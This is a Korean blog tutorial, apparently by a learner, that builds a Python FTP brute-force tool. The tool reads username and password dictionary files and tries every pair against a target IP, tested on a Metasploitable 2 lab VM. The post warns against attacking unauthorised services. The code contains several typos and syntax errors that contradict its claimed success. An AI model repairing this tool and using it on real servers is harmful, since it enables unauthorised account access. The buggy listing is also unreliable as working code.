본문 바로가기

카테고리 없음

FTP 무작위 대입 공격 도구 개발

Metasploitable Ver.2 가상환경에서 실행

 

 

 

우리가 무작위로 대입해볼 ID와 PW는 사전 파일로 만들어서 불러올거다.

->메모장에 대입할 값들을 적고 각각의 파일로 만들어준다.

스레드를 배우면 더 많은 딕셔너리 파일들을 넣을 수 있음

 

 

 

허가되지 않은 FTP 서비스에는 시도하면 절대 안됨.

-> 가상환경 Metasploitable ver.2 사용

ip할당되어 있음.  ip를 대상으로 ftp 공격

 

 

 

import ftplib

def bruteforce():
    print('')

def main():

    ip = input("IP 정보를 입력하세요.") #IP 정보 받기
    with open('users.txt','r') as users: #with 키워드값을 이용하여 오픈, users라고 정의
        users = users.readlines() #readlines로 하나씩 읽어줌
    with open('passwords.txt','r') as passwords:#마찬가지로 with 키워드값 이용하여 pw파일 오픈
        passwords = passwords.readlines() #하나씩 읽어줌

        print(users)
        print(passwords)

if __name__=='__main__':
    main()

 

 

 

이 정보들을 하나씩 ftp쪽에다가 접속하면서 시도해야함.

아이디,패스워드를 받아서 bruteforce():함수에서 ftp가 처리되도록 넘길거임.

rstrip함수를 사용하면 특수문자를 지울 수 있음.

 

 

 

import ftplib

def bruteforce(ip, user, password):
    ftp = ftplib.FTP(ip)  #ftplib ip정보 받기
    
    try: 
       print("사용자 아이디{}, 패스워드{}" . format(user.password))  #try문을 사용, format 이용하여 사용자의 아이디와 패스워드 받기
       res = ftp.login(user.password) #로그인 결과값을 res로 받음
       print(res)
    
    except Exception as exception:
       print("연결 오류", ex) #예외(=연결 실패)
       
def main():

    ip = input("IP 정보를 입력하세요.") #IP 정보 받기
    with open('users.txt','r') as users: #with 키워드값을 이용하여 오픈, users라고 정의
        users = users.readlines() #readlines로 하나씩 읽어줌
    with open('passwords.txt','r') as passwords:#마찬가지로 with 키워드값 이용하여 pw파일 오픈
        passwords = passwords.readlines() #하나씩 읽어줌
        
        for user in users: # 10번줄에서 받은 정보를 users에 넣어주고 for문으로 반복
           for password in passwords: #password도 마찬가지
              bruteforce(ip. users.rstrip, password.rstrip())

if __name__=='__main__':
    main()

연결 성공했지만 눈에 잘 안보임. (230 Login successful)

조금만 더 발전시켜서 까끔해 보이게 만들어보자.

 

 

import ftplib

def bruteforce(ip, user, password):
    ftp = ftplib.FTP(ip)  #ftplib ip정보 받기
    
    try: 
       print("사용자 아이디{}, 패스워드{}" . format(user.password))  #try문을 사용, format 이용하여 사용자의 아이디와 패스워드 받기
       res = ftp.login(user.password) #로그인 결과값을 res로 받음
       if"230" in res and "successful" in res:
       		print("[+] 공격에 성공!!!")
            print("사용자"+user+"패스워드:"+password) #res값 안에 230,successful 있으면 공격 성공 출력
      else:
          pass
    
    except Exception as exception:
       print("연결 오류", ex) #예외(=연결 실패)
       
def main():

    ip = input("IP 정보를 입력하세요.") #IP 정보 받기
    with open('users.txt','r') as users: #with 키워드값을 이용하여 오픈, users라고 정의
        users = users.readlines() #readlines로 하나씩 읽어줌
    with open('passwords.txt','r') as passwords:#마찬가지로 with 키워드값 이용하여 pw파일 오픈
        passwords = passwords.readlines() #하나씩 읽어줌
        
        for user in users: # 10번줄에서 받은 정보를 users에 넣어주고 for문으로 반복
           for password in passwords: #password도 마찬가지
              bruteforce(ip. users.rstrip, password.rstrip())

if __name__=='__main__':
    main()

공격에 성공!!! 문구까지 뜨게 된다.